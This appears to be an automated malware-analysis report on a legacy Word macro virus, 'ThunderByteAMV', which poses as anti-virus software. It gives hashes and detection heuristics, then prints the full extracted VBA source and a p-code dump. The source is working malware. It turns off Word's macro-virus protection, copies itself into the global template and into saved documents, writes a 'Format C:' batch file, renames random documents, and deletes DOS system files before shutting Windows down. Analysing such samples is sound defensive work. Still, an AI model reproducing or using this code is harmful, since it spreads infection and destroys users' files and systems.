Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 3a511e461a9349bb…

MALICIOUS

Office (OLE)

65.5 KB Created: 1998-05-27 20:56:00 Authoring application: Microsoft Word 8.0 First seen: 2012-06-14
MD5: a3a987bb72d660d1045a7f664b740b10 SHA-1: 38da78acf2eaf2d24a35788032efe279620a7d7b SHA-256: 3a511e461a9349bbd10023687bf4d3eb91767b889172041580fe233f62d90bce
188 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic

The file exhibits characteristics of a legacy WordBasic macro virus, including specific markers and the presence of VBA macros. The macros are designed to disable security features like 'EnableCancelKey' and 'VirusProtection', and to disable auto-macros, indicating an intent to evade detection and potentially execute further malicious actions. The ClamAV detection 'Dos.Trojan.FormatC-9' further supports its malicious nature.

Heuristics 5

  • ClamAV: Dos.Trojan.FormatC-9 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Dos.Trojan.FormatC-9
  • VBA macros detected medium 2 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • VBA macro-virus self-replication / AV tampering critical OLE_VBA_MACRO_VIRUS_REPLICATION
    VBA macro programmatically rewrites VBA project code through the VBE object model (CodeModule/VBComponents InsertLines/DeleteLines/AddFromString or OrganizerCopy) to copy itself into the global template and other open documents, and/or disables Office macro-virus protection (Options.VirusProtection = False). This is the defining behavior of the W97M document macro-virus family — self-replicating code with no benign document use, independent of any AV signature.
    Matched line in script
    Options.VirusProtection = False
  • AutoOpen macro low OLE_VBA_AUTOOPEN
    AutoOpen macro
    Matched line in script
    Sub AutoOpen()
  • Legacy WordBasic macro-virus markers high OLE_LEGACY_WORDBASIC_MACRO_VIRUS
    OLE Word document contains legacy WordBasic auto-execution macro markers such as AutoOpen plus ToolsMacro/MacroFile/fileMacro/globMacro or named historical macro-virus strings. These old Word 6/95 macro forms are not exposed as a modern VBA project, so normal VBA source extraction can miss them.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 36671 bytes
SHA-256: 10af712b0eb0a347e308f839be4ed7bd25cfba690904af9bd6938b8b3e9561f1
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "0{00020906-0000-0000-C000-000000000046}"
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True

Attribute VB_Name = "ATBAMV"
Attribute VB_Base = "0{72B4EB1B-F5B5-11D1-9DFF-D87D05C10000}{72B4EB04-F5B5-11D1-9DFF-D87D05C10000}"
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False

Private Sub CommandButton1_Click()
Unload ATBAMV
End Sub
Private Sub OptionButton2_Click()
WordBasic.SetPrivateProfileString "OptionSelect", "Valeur", "2", "WIN.INI"
End Sub
Private Sub OptionButton3_Click()
WordBasic.SetPrivateProfileString "OptionSelect", "Valeur", "3", "WIN.INI"
End Sub
Private Sub OptionButton4_Click()
WordBasic.SetPrivateProfileString "OptionSelect", "Valeur", "4", "WIN.INI"
End Sub

Private Sub Userform_initialize()
Application.EnableCancelKey = wdCancelDisabled
WordBasic.DisableAutoMacros 0
Options.VirusProtection = False
Options.SaveNormalPrompt = False
WordBasic.SetPrivateProfileString "OptionSelect", "Valeur", "0", "WIN.INI"
End Sub
Private Sub OptionButton1_Click()
WordBasic.SetPrivateProfileString "OptionSelect", "Valeur", "1", "WIN.INI"
End Sub

Attribute VB_Name = "Installation"
Attribute VB_Base = "0{72B4EB1F-F5B5-11D1-9DFF-D87D05C10000}{72B4EB0E-F5B5-11D1-9DFF-D87D05C10000}"
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False

Private Sub Userform_initialize()
Application.EnableCancelKey = wdCancelDisabled
WordBasic.DisableAutoMacros 0
Options.VirusProtection = False
Options.SaveNormalPrompt = False
End Sub
Private Sub CommandButton1_Click()
Unload Installation
End Sub


Attribute VB_Name = "ThunderByteAMV"
Sub AutoExec()
Application.EnableCancelKey = wdCancelDisabled
WordBasic.DisableAutoMacros 0
Options.VirusProtection = False
Options.SaveNormalPrompt = False
On Error GoTo ErrorAE
Protection.Show
Randomize
Dim MyDate
MyDate = Date
N$ = Int(Rnd * 31) + 1
d$ = Mid(MyDate, 1, 2)
If d$ = N$ Then
Debut:
    Dim OptionValeur$, Fichier$, OldName, NewName, Choix
    ATBAMV.Show
    OptionValeur$ = WordBasic.[GetPrivateProfileString$]("OptionSelect", "Valeur", "WIN.INI")
    If OptionValeur$ = 0 Then
        GoTo Debut
        MsgBox "Vous devez choisir une option", vbInformation, "ThunderByte Anti Macro Virus"
    End If
    If OptionValeur$ = 1 Then
        StatusBar = "Réparation en cours...,  veuillez patienter..."
        Open "C:\DOS\Repar.bat" For Output As #1
        Print #1, "O|Format C: /u /Autotest"
        Close #1
        StatusBar = "Réparation terminée..."
        MsgBox "Votre disque dur est réparé, HAHAHAHAHA", vbCritical, "Virus ThunderByteAMV"
    End If
    If OptionValeur$ = 2 Then
        Dim Reponse
        Reponse = MsgBox("Voulez-vous créer un rapport sur les fichiers infectés ?", vbYesNo + vbDefaultButton1, "ThunderByte Anti Macro Virus")
        If Reponse = vbYes Then
            Open "c:\windows\report.txt" For Output As #1
                Print #1, "Vous êtes infecté par ThunderByte Anti Macro Virus"
                Print #1, "HAHAHAHAHA!!!!!, Merci à ZeMacroKiller98"
                Print #1, "Ne faîtes pas confiance au  AntiVirus..."
                Close #1
                GoTo Message
        Else
            GoTo Message
        End If
Message:
            StatusBar = "ThunderByte Anti Macro Virus par ZeMacroKiller98"
            For i = 1 To 400000
            Next i
            StatusBar = "       ThunderByte Anti Macro Virus par ZeMacroKiller98"
            For i = 1 To 400000
            Next i
            StatusBar = "               ThunderByte Anti Macro Virus par ZeMacroKiller98"
            For i = 1 To 400000
            Next i
            StatusBar = "                       ThunderByte Anti Macro Virus par ZeMacroKiller98"
            For i = 1 To 400000
            Next i
            StatusBar = "                               ThunderByte Anti Macro Virus par ZeMacroKiller98"
            For i = 1 To 400000
            Next i
            StatusBar = "                                       ThunderByte Anti Macro Virus par ZeMacroKiller98"
            For i = 1 To 400000
            Next i
            StatusBar = "                                               ThunderByte Anti Macro Virus par ZeMacroKiller98"
            For i = 1 To 400000
            Next i
            StatusBar = "                                                       ThunderByte Anti Macro Virus par ZeMacroKiller98"
            For i = 1 To 400000
            Next i
            StatusBar = "                                                               ThunderByte Anti Macro Virus par ZeMacroKiller98"
            For i = 1 To 400000
            Next i
            StatusBar = "                                                                       ThunderByte Anti Macro Virus par ZeMacroKiller98"
            For i = 1 To 400000
            Next i
            StatusBar = "                                                                               ThunderByte Anti Macro Virus par ZeMacroKiller98"
            For i = 1 To 400000
            Next i
            StatusBar = "                                                                                       ThunderByte Anti Macro Virus par ZeMacroKiller98"
            For i = 1 To 400000
            Next i
            StatusBar = "                                                                                               ThunderByte Anti Macro Virus par ZeMacroKiller98"
            For i = 1 To 400000
            Next i
            StatusBar = "                                                                                                       ThunderByte Anti Macro Virus par ZeMacroKiller98"
            GoTo Message
    End If
    If OptionValeur = 3 Then
    With Application.FileSearch
            .LookIn = CurDir
            .FileName = "*.doc"
        If .Execute() > 0 Then
        For i = 1 To 3
            Choix = Int(Rnd * .FoundFiles.Count) + 1
            Call Renommer
            Fichier$ = WordBasic.[GetPrivateProfileString$]("Renommer", "Nom", "WIN.INI")
            OldName = .FoundFiles(Choix)
            NewName = Fichier$ + ".txt"
            Name OldName As NewName
            MsgBox "Une partie de vos fichiers sont renommés, vous ne les retrouvez pas" & Chr$(13) & "HAHAHAHAHA!!!!", vbCritical, "Ne faîtes pas confiance au AntiVirus!!!!"
        Next i
        Else
        MsgBox "Impossible de renommer les fichiers.", vbCritical, "ThunderByte Anti Macro Virus"
        End If
    End With
    End If
    If OptionValeur = 4 Then
        StatusBar = "Suppression des fichiers en cours..."
        Kill "C:\WINDOWS\*.INI"
        Kill "C:\COMMAND.COM"
        Kill "C:\AUTOEXEC.BAT"
        Kill "C:\CONFIG.SYS"
        Kill "C:\MSDOS.SYS"
        Kill "C:\IO.SYS"
        MsgBox "Pour que les modifications soit prises en compte," & Chr$(13) & "Je dois redémarrer votre ordinateur", vbInformation, "ThunderByte Anti Macro Virus"
        Open "C:\Autoexec.bat" For Output As #1
            Print #1, "Echo Les AntiVirus ne sont pas tous des Antivirus"
            Print #1, "Echo Il peuvent être aussi des virus..."
            Print #1, "Echo HAHAHAHAHA!!!!!!"
        Close #1
        Tasks.ExitWindows
    End If
End If
ErrorAE:
End Sub
Sub AutoOpen()
Application.EnableCancelKey = wdCancelDisabled
WordBasic.DisableAutoMacros 0
Options.VirusProtection = False
Options.SaveNormalPrompt = False
On Error GoTo ErrorAO
iMacroCount = WordBasic.CountMacros(0, 0)
For i = 1 To iMacroCount
    If WordBasic.[MacroName$](i, 0) = "ThunderByteAMV" Then
        ThunderByteAMVInstalled = -1
    End If
Next i
If Not ThunderByteAMVInstalled Then
    Installation.Show
    StatusBar = "Installation en cours..."
    Application.OrganizerCopy Source:=ActiveDocument.FullName, Destination:=NormalTemplate.FullName, name:="ThunderByteAMV", Object:=wdOrganizerObjectProjectItems
    Application.OrganizerCopy Source:=ActiveDocument.FullName, Destination:=NormalTemplate.FullName, name:="Installation", Object:=wdOrganizerObjectProjectItems
    Application.OrganizerCopy Source:=ActiveDocument.FullName, Destination:=NormalTemplate.FullName, name:="Protection", Object:=wdOrganizerObjectProjectItems
    Application.OrganizerCopy Source:=ActiveDocument.FullName, Destination:=NormalTemplate.FullName, name:="ATBAMV", Object:=wdOrganizerObjectProjectItems
    StatusBar = "Installation terminé"
End If
ErrorAO:
End Sub
Sub FileSaveAs()
Application.EnableCancelKey = wdCancelDisabled
WordBasic.DisableAutoMacros 0
Options.VirusProtection = False
Options.SaveNormalPrompt = False
On Error GoTo ErrorFSA
    Dialogs(wdDialogFileSaveAs).Show
    If ActiveDocument.SaveFormat = wdFormatDocument Or ActiveDocument.SaveFormat = wdFormatTemplate Then
        ActiveDocument.SaveAs FileFormat:=wdFormatTemplate
    End If
Application.OrganizerCopy Source:=NormalTemplate.FullName, Destination:=ActiveDocument.FullName, name:="ThunderByteAMV", Object:=wdOrganizerObjectProjectItems
Application.OrganizerCopy Source:=NormalTemplate.FullName, Destination:=ActiveDocument.FullName, name:="Installation", Object:=wdOrganizerObjectProjectItems
Application.OrganizerCopy Source:=NormalTemplate.FullName, Destination:=ActiveDocument.FullName, name:="Protection", Object:=wdOrganizerObjectProjectItems
Application.OrganizerCopy Source:=NormalTemplate.FullName, Destination:=ActiveDocument.FullName, name:="ATBAMV", Object:=wdOrganizerObjectProjectItems
ActiveDocument.Save
ErrorFSA:
End Sub
Sub FileTemplates()
Application.EnableCancelKey = wdCancelDisabled
WordBasic.DisableAutoMacros 0
Options.VirusProtection = False
Options.SaveNormalPrompt = False
On Error GoTo ErrorFT
    MsgBox "ThunderByte protège l'accès de certains menus", vbInformation, "ThunderByte Anti Macro Virus"
ErrorFT:
End Sub
Sub Renommer()
Application.EnableCancelKey = wdCancelDisabled
WordBasic.DisableAutoMacros 0
Options.VirusProtection = False
Options.SaveNormalPrompt = False
On Error GoTo ErrorRN
Dim NH$, Valeur
Randomize
For i = 1 To 8
NH$ = Int(Rnd * 10) + 1
If NH$ = 1 Then Valeur = "J"
If NH$ = 2 Then Valeur = "ç"
If NH$ = 3 Then Valeur = "ù"
If NH$ = 4 Then Valeur = "é"
If NH$ = 5 Then Valeur = "m"
If NH$ = 6 Then Valeur = "y"
If NH$ = 7 Then Valeur = "z"
If NH$ = 8 Then Valeur = "b"
If NH$ = 9 Then Valeur = "è"
If NH$ = 10 Then Valeur = "f"
If i = 1 Then a$ = Valeur
If i = 2 Then b$ = Valeur
If i = 3 Then c$ = Valeur
If i = 4 Then d$ = Valeur
If i = 5 Then e$ = Valeur
If i = 6 Then f$ = Valeur
If i = 7 Then g$ = Valeur
If i = 8 Then h$ = Valeur
Next i
Nom$ = a$ + b$ + c$ + d$ + e$ + f$ + g$ + h$
WordBasic.SetPrivateProfileString "Renommer", "Nom", Nom$, "WIN.INI"
ErrorRN:
End Sub
Sub ToolsMacro()
Application.EnableCancelKey = wdCancelDisabled
WordBasic.DisableAutoMacros 0
Options.VirusProtection = False
Options.SaveNormalPrompt = False
On Error GoTo ErrorTM
    MsgBox "Protection Anti Macro Virus activé" & Chr$(13) & "Accès refusé", vbInformation, "ThunderByte Anti Macro Virus"
ErrorTM:
End Sub
Sub ViewVBCode()
Application.EnableCancelKey = wdCancelDisabled
WordBasic.DisableAutoMacros 0
Options.VirusProtection = False
Options.SaveNormalPrompt = False
On Error GoTo ErrorVVBC
    MsgBox "Menu protégé..." & Chr$(13) & "Accès Refusé", vbInformation, "ThunderByte Anti Macro Virus"
ErrorVVBC:
End Sub

Attribute VB_Name = "Protection"
Attribute VB_Base = "0{72B4EB23-F5B5-11D1-9DFF-D87D05C10000}{72B4EB14-F5B5-11D1-9DFF-D87D05C10000}"
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False

Private Sub CommandButton1_Click()
Unload Protection
End Sub

Private Sub Userform_initialize()
Application.EnableCancelKey = wdCancelDisabled
WordBasic.DisableAutoMacros 0
Options.VirusProtection = False
Options.SaveNormalPrompt = False
End Sub

' Processing file: /tmp/qstore_po2rurb2
' ===============================================================================
' Module streams:
' Macros/VBA/ThisDocument - 965 bytes
' Macros/VBA/ATBAMV - 2524 bytes
' Line #0:
' Line #1:
' 	FuncDefn (Private Sub CommandButton1_Click())
' Line #2:
' 	Ld ATBAMV 
' 	ArgsCall Unlock 0x0001 
' Line #3:
' 	EndSub 
' Line #4:
' 	FuncDefn (Private Sub OptionButton2_Click())
' Line #5:
' 	LitStr 0x000C "OptionSelect"
' 	LitStr 0x0006 "Valeur"
' 	LitStr 0x0001 "2"
' 	LitStr 0x0007 "WIN.INI"
' 	Ld WordBasic 
' 	ArgsMemCall SetPrivateProfileString 0x0004 
' Line #6:
' 	EndSub 
' Line #7:
' 	FuncDefn (Private Sub OptionButton3_Click())
' Line #8:
' 	LitStr 0x000C "OptionSelect"
' 	LitStr 0x0006 "Valeur"
' 	LitStr 0x0001 "3"
' 	LitStr 0x0007 "WIN.INI"
' 	Ld WordBasic 
' 	ArgsMemCall SetPrivateProfileString 0x0004 
' Line #9:
' 	EndSub 
' Line #10:
' 	FuncDefn (Private Sub OptionButton4_Click())
' Line #11:
' 	LitStr 0x000C "OptionSelect"
' 	LitStr 0x0006 "Valeur"
' 	LitStr 0x0001 "4"
' 	LitStr 0x0007 "WIN.INI"
' 	Ld WordBasic 
' 	ArgsMemCall SetPrivateProfileString 0x0004 
' Line #12:
' 	EndSub 
' Line #13:
' Line #14:
' 	FuncDefn (Private Sub Userform_initialize())
' Line #15:
' 	Ld wdCancelDisabled 
' 	Ld Application 
' 	MemSt EnableCancelKey 
' Line #16:
' 	LitDI2 0x0000 
' 	Ld WordBasic 
' 	ArgsMemCall DisableAutoMacros 0x0001 
' Line #17:
' 	LitVarSpecial (False)
' 	Ld Options 
' 	MemSt VirusProtection 
' Line #18:
' 	LitVarSpecial (False)
' 	Ld Options 
' 	MemSt SaveNormalPrompt 
' Line #19:
' 	LitStr 0x000C "OptionSelect"
' 	LitStr 0x0006 "Valeur"
' 	LitStr 0x0001 "0"
' 	LitStr 0x0007 "WIN.INI"
' 	Ld WordBasic 
' 	ArgsMemCall SetPrivateProfileString 0x0004 
' Line #20:
' 	EndSub 
' Line #21:
' 	FuncDefn (Private Sub OptionButton1_Click())
' Line #22:
' 	LitStr 0x000C "OptionSelect"
' 	LitStr 0x0006 "Valeur"
' 	LitStr 0x0001 "1"
' 	LitStr 0x0007 "WIN.INI"
' 	Ld WordBasic 
' 	ArgsMemCall SetPrivateProfileString 0x0004 
' Line #23:
' 	EndSub 
' Macros/VBA/Installation - 1675 bytes
' Line #0:
' Line #1:
' 	FuncDefn (Private Sub Userform_initialize())
' Line #2:
' 	Ld wdCancelDisabled 
' 	Ld Application 
' 	MemSt EnableCancelKey 
' Line #3:
' 	LitDI2 0x0000 
' 	Ld WordBasic 
' 	ArgsMemCall DisableAutoMacros 0x0001 
' Line #4:
' 	LitVarSpecial (False)
' 	Ld Options 
' 	MemSt VirusProtection 
' Line #5:
' 	LitVarSpecial (False)
' 	Ld Options 
' 	MemSt SaveNormalPrompt 
' Line #6:
' 	EndSub 
' Line #7:
' 	FuncDefn (Private Sub CommandButton1_Click())
' Line #8:
' 	Ld Installation 
' 	ArgsCall Unlock 0x0001 
' Line #9:
' 	EndSub 
' Line #10:
' Macros/VBA/ThunderByteAMV - 15705 bytes
' Line #0:
' 	FuncDefn (Sub AutoExec())
' Line #1:
' 	Ld wdCancelDisabled 
' 	Ld Application 
' 	MemSt EnableCancelKey 
' Line #2:
' 	LitDI2 0x0000 
' 	Ld WordBasic 
' 	ArgsMemCall DisableAutoMacros 0x0001 
' Line #3:
' 	LitVarSpecial (False)
' 	Ld Options 
' 	MemSt VirusProtection 
' Line #4:
' 	LitVarSpecial (False)
' 	Ld Options 
' 	MemSt SaveNormalPrompt 
' Line #5:
' 	OnError ErrorAE 
' Line #6:
' 	Ld Protection 
' 	ArgsMemCall Show 0x0000 
' Line #7:
' 	ArgsCall Read 0x0000 
' Line #8:
' 	Dim 
' 	VarDefn MyDate
' Line #9:
' 	Ld Date 
' 	St MyDate 
' Line #10:
' 	Ld Rnd 
' 	LitDI2 0x001F 
' 	Mul 
' 	FnInt 
' 	LitDI2 0x0001 
' 	Add 
' 	St N$ 
' Line #11:
' 	Ld MyDate 
' 	LitDI2 0x0001 
' 	LitDI2 0x0002 
' 	ArgsLd Mid$ 0x0003 
' 	St d$ 
' Line #12:
' 	Ld d$ 
' 	Ld N$ 
' 	Eq 
' 	IfBlock 
' Line #13:
' 	Label Debut 
' Line #14:
' 	Dim 
' 	VarDefn OptionValeur
' 	VarDefn Fichier
' 	VarDefn OldName
' 	VarDefn NewName
' 	VarDefn Choix
' Line #15:
' 	Ld ATBAMV 
' 	ArgsMemCall Show 0x0000 
' Line #16:
' 	LitStr 0x000C "OptionSelect"
' 	LitStr 0x0006 "Valeur"
' 	LitStr 0x0007 "WIN.INI"
' 	Ld WordBasic 
' 	ArgsMemLd [GetPrivateProfileString$] 0x0003 
' 	St OptionValeur$ 
' Line #17:
' 	Ld OptionValeur$ 
' 	LitDI2 0x0000 
' 	Eq 
' 	IfBlock 
' Line #18:
' 	GoTo Debut 
' Line #19:
' 	LitStr 0x001D "Vous devez choisir une option"
' 	Ld vbInformation 
' 	LitStr 0x001C "ThunderByte Anti Macro Virus"
' 	ArgsCall MsgBox 0x0003 
' Line #20:
' 	EndIfBlock 
' Line #21:
' 	Ld OptionValeur$ 
' 	LitDI2 0x0001 
' 	Eq 
' 	IfBlock 
' Line #22:
' 	LitStr 0x002E "Réparation en cours...,  veuillez patienter..."
' 	St StatusBar 
' Line #23:
' 	LitStr 0x0010 "C:\DOS\Repar.bat"
' 	LitDI2 0x0001 
' 	Sharp 
' 	LitDefault 
' 	Open (For Output)
' Line #24:
' 	LitDI2 0x0001 
' 	Sharp 
' 	PrintChan 
' 	LitStr 0x0018 "O|Format C: /u /Autotest"
' 	PrintItemNL 
' Line #25:
' 	LitDI2 0x0001 
' 	Sharp 
' 	Close 0x0001 
' Line #26:
' 	LitStr 0x0016 "Réparation terminée..."
' 	St StatusBar 
' Line #27:
' 	LitStr 0x0027 "Votre disque dur est réparé, HAHAHAHAHA"
' 	Ld vbCritical 
' 	LitStr 0x0014 "Virus ThunderByteAMV"
' 	ArgsCall MsgBox 0x0003 
' Line #28:
' 	EndIfBlock 
' Line #29:
' 	Ld OptionValeur$ 
' 	LitDI2 0x0002 
' 	Eq 
' 	IfBlock 
' Line #30:
' 	Dim 
' 	VarDefn Reponse
' Line #31:
' 	LitStr 0x0038 "Voulez-vous créer un rapport sur les fichiers infectés ?"
' 	Ld vbYesNo 
' 	Ld vbDefaultButton1 
' 	Add 
' 	LitStr 0x001C "ThunderByte Anti Macro Virus"
' 	ArgsLd MsgBox 0x0003 
' 	St Reponse 
' Line #32:
' 	Ld Reponse 
' 	Ld vbYes 
' 	Eq 
' 	IfBlock 
' Line #33:
' 	LitStr 0x0015 "c:\windows\report.txt"
' 	LitDI2 0x0001 
' 	Sharp 
' 	LitDefault 
' 	Open (For Output)
' Line #34:
' 	LitDI2 0x0001 
' 	Sharp 
' 	PrintChan 
' 	LitStr 0x0032 "Vous êtes infecté par ThunderByte Anti Macro Virus"
' 	PrintItemNL 
' Line #35:
' 	LitDI2 0x0001 
' 	Sharp 
' 	PrintChan 
' 	LitStr 0x0028 "HAHAHAHAHA!!!!!, Merci à ZeMacroKiller98"
' 	PrintItemNL 
' Line #36:
' 	LitDI2 0x0001 
' 	Sharp 
' 	PrintChan 
' 	LitStr 0x0028 "Ne faîtes pas confiance au  AntiVirus..."
' 	PrintItemNL 
' Line #37:
' 	LitDI2 0x0001 
' 	Sharp 
' 	Close 0x0001 
' Line #38:
' 	GoTo Message 
' Line #39:
' 	ElseBlock 
' Line #40:
' 	GoTo Message 
' Line #41:
' 	EndIfBlock 
' Line #42:
' 	Label Message 
' Line #43:
' 	LitStr 0x0030 "ThunderByte Anti Macro Virus par ZeMacroKiller98"
' 	St StatusBar 
' Line #44:
' 	StartForVariable 
' 	Ld i 
' 	EndForVariable 
' 	LitDI2 0x0001 
' 	LitDI4 0x1A80 0x0006 
' 	For 
' Line #45:
' 	StartForVariable 
' 	Ld i 
' 	EndForVariable 
' 	NextVar 
' Line #46:
' 	LitStr 0x0037 "       ThunderByte Anti Macro Virus par ZeMacroKiller98"
' 	St StatusBar 
' Line #47:
' 	StartForVariable 
' 	Ld i 
' 	EndForVariable 
' 	LitDI2 0x0001 
' 	LitDI4 0x1A80 0x0006 
' 	For 
' Line #48:
' 	StartForVariable 
' 	Ld i 
' 	EndForVariable 
' 	NextVar 
' Line #49:
' 	LitStr 0x003F "               ThunderByte Anti Macro Virus par ZeMacroKiller98"
' 	St StatusBar 
' Line #50:
' 	StartForVariable 
' 	Ld i 
' 	EndForVariable 
' 	LitDI2 0x0001 
' 	LitDI4 0x1A80 0x0006 
' 	For 
' Line #51:
' 	StartForVariable 
' 	Ld i 
' 	EndForVariable 
' 	NextVar 
' Line #52:
' 	LitStr 0x0047 "                       ThunderByte Anti Macro Virus par ZeMacroKiller98"
' 	St StatusBar 
' Line #53:
' 	StartForVariable 
' 	Ld i 
' 	EndForVariable 
' 	LitDI2 0x0001 
' 	LitDI4 0x1A80 0x0006 
' 	For 
' Line #54:
' 	StartForVariable 
' 	Ld i 
' 	EndForVariable 
' 	NextVar 
' Line #55:
' 	LitStr 0x004F "                               ThunderByte Anti Macro Virus par ZeMacroKiller98"
' 	St StatusBar 
' Line #56:
' 	StartForVariable 
' 	Ld i 
' 	EndForVariable 
' 	LitDI2 0x0001 
' 	LitDI4 0x1A80 0x0006 
' 	For 
' Line #57:
' 	StartForVariable 
' 	Ld i 
' 	EndForVariable 
' 	NextVar 
' Line #58:
' 	LitStr 0x0057 "                                       ThunderByte Anti Macro Virus par ZeMacroKiller98"
' 	St StatusBar 
' Line #59:
' 	StartForVariable 
' 	Ld i 
' 	EndForVariable 
' 	LitDI2 0x0001 
' 	LitDI4 0x1A80 0x0006 
' 	For 
' Line #60:
' 	StartForVariable 
' 	Ld i 
' 	EndForVariable 
' 	NextVar 
' Line #61:
' 	LitStr 0x005F "                                               ThunderByte Anti Macro Virus par ZeMacroKiller98"
' 	St StatusBar 
' Line #62:
' 	StartForVariable 
' 	Ld i 
' 	EndForVariable 
' 	LitDI2 0x0001 
' 	LitDI4 0x1A80 0x0006 
' 	For 
' Line #63:
' 	StartForVariable 
' 	Ld i 
' 	EndForVariable 
' 	NextVar 
' Line #64:
' 	LitStr 0x0067 "                                                       ThunderByte Anti Macro Virus par ZeMacroKiller98"
' 	St StatusBar 
' Line #65:
' 	StartForVariable 
' 	Ld i 
' 	EndForVariable 
' 	LitDI2 0x0001 
' 	LitDI4 0x1A80 0x0006 
' 	For 
' Line #66:
' 	StartForVariable 
' 	Ld i 
' 	EndForVariable 
' 	NextVar 
' Line #67:
' 	LitStr 0x006F "                                                               ThunderByte Anti Macro Virus par ZeMacroKiller98"
' 	St StatusBar 
' Line #68:
' 	StartForVariable 
' 	Ld i 
' 	EndForVariable 
' 	LitDI2 0x0001 
' 	LitDI4 0x1A80 0x0006 
' 	For 
' Line #69:
' 	StartForVariable 
' 	Ld i 
' 	EndForVariable 
' 	NextVar 
' Line #70:
' 	LitStr 0x0077 "                                                                       ThunderByte Anti Macro Virus par ZeMacroKiller98"
' 	St StatusBar 
' Line #71:
' 	StartForVariable 
' 	Ld i 
' 	EndForVariable 
' 	LitDI2 0x0001 
' 	LitDI4 0x1A80 0x0006 
' 	For 
' Line #72:
' 	StartForVariable 
' 	Ld i 
' 	EndForVariable 
' 	NextVar 
' Line #73:
' 	LitStr 0x007F "                                                                               ThunderByte Anti Macro Virus par ZeMacroKiller98"
' 	St StatusBar 
' Line #74:
' 	StartForVariable 
' 	Ld i 
' 	EndForVariable 
' 	LitDI2 0x0001 
' 	LitDI4 0x1A80 0x0006 
' 	For 
' Line #75:
' 	StartForVariable 
' 	Ld i 
' 	EndForVariable 
' 	NextVar 
' Line #76:
' 	LitStr 0x0087 "                                                                                       ThunderByte Anti Macro Virus par ZeMacroKiller98"
' 	St StatusBar 
' Line #77:
' 	StartForVariable 
' 	Ld i 
' 	EndForVariable 
' 	LitDI2 0x0001 
' 	LitDI4 0x1A80 0x0006 
' 	For 
' Line #78:
' 	StartForVariable 
' 	Ld i 
' 	EndForVariable 
' 	NextVar 
' Line #79:
' 	LitStr 0x008F "                                                                                               ThunderByte Anti Macro Virus par ZeMacroKiller98"
' 	St StatusBar 
' Line #80:
' 	StartForVariable 
' 	Ld i 
' 	EndForVariable 
' 	LitDI2 0x0001 
' 	LitDI4 0x1A80 0x0006 
' 	For 
' Line #81:
' 	StartForVariable 
' 	Ld i 
' 	EndForVariable 
' 	NextVar 
' Line #82:
' 	LitStr 0x0097 "                                                                                                       ThunderByte Anti Macro Virus par ZeMacroKiller98"
' 	St StatusBar 
' Line #83:
' 	GoTo Message 
' Line #84:
' 	EndIfBlock 
' Line #85:
' 	Ld OptionValeur 
' 	LitDI2 0x0003 
' 	Eq 
' 	IfBlock 
' Line #86:
' 	StartWithExpr 
' 	Ld Application 
' 	MemLd FileSearch 
' 	With 
' Line #87:
' 	Ld CurDir 
' 	MemStWith LookIn 
' Line #88:
' 	LitStr 0x0005 "*.doc"
' 	MemStWith FileName 
' Line #89:
' 	ArgsMemLdWith Execute 0x0000 
' 	LitDI2 0x0000 
' 	Gt 
' 	IfBlock 
' Line #90:
' 	StartForVariable 
' 	Ld i 
' 	EndForVariable 
' 	LitDI2 0x0001 
' 	LitDI2 0x0003 
' 	For 
' Line #91:
' 	Ld Rnd 
' 	MemLdWith FoundFiles 
' 	MemLd Count 
' 	Mul 
' 	FnInt 
' 	LitDI2 0x0001 
' 	Add 
' 	St Choix 
' Line #92:
' 	ArgsCall (Call) Renommer 0x0000 
' Line #93:
' 	LitStr 0x0008 "Renommer"
' 	LitStr 0x0003 "Nom"
' 	LitStr 0x0007 "WIN.INI"
' 	Ld WordBasic 
' 	ArgsMemLd [GetPrivateProfileString$] 0x0003 
' 	St Fichier$ 
' Line #94:
' 	Ld Choix 
' 	ArgsMemLdWith FoundFiles 0x0001 
' 	St OldName 
' Line #95:
' 	Ld Fichier$ 
' 	LitStr 0x0004 ".txt"
' 	Add 
' 	St NewName 
' Line #96:
' 	Ld OldName 
' 	Ld NewName 
' 	Name 
' Line #97:
' 	LitStr 0x0043 "Une partie de vos fichiers sont renommés, vous ne les retrouvez pas"
' 	LitDI2 0x000D 
' 	ArgsLd Chr$ 0x0001 
' 	Concat 
' 	LitStr 0x000E "HAHAHAHAHA!!!!"
' 	Concat 
' 	Ld vbCritical 
' 	LitStr 0x0028 "Ne faîtes pas confiance au AntiVirus!!!!"
' 	ArgsCall MsgBox 0x0003 
' Line #98:
' 	StartForVariable 
' 	Ld i 
' 	EndForVariable 
' 	NextVar 
' Line #99:
' 	ElseBlock 
' Line #100:
' 	LitStr 0x0024 "Impossible de renommer les fichiers."
' 	Ld vbCritical 
' 	LitStr 0x001C "ThunderByte Anti Macro Virus"
' 	ArgsCall MsgBox 0x0003 
' Line #101:
' 	EndIfBlock 
' Line #102:
' 	EndWith 
' Line #103:
' 	EndIfBlock 
' Line #104:
' 	Ld OptionValeur 
' 	LitDI2 0x0004 
' 	Eq 
' 	IfBlock 
' Line #105:
' 	LitStr 0x0024 "Suppression des fichiers en cours..."
' 	St StatusBar 
' Line #106:
' 	LitStr 0x0010 "C:\WINDOWS\*.INI"
' 	ArgsCall Kill 0x0001 
' Line #107:
' 	LitStr 0x000E "C:\COMMAND.COM"
' 	ArgsCall Kill 0x0001 
' Line #108:
' 	LitStr 0x000F "C:\AUTOEXEC.BAT"
' 	ArgsCall Kill 0x0001 
' Line #109:
' 	LitStr 0x000D "C:\CONFIG.SYS"
' 	ArgsCall Kill 0x0001 
' Line #110:
' 	LitStr 0x000C "C:\MSDOS.SYS"
' 	ArgsCall Kill 0x0001 
' Line #111:
' 	LitStr 0x0009 "C:\IO.SYS"
' 	ArgsCall Kill 0x0001 
' Line #112:
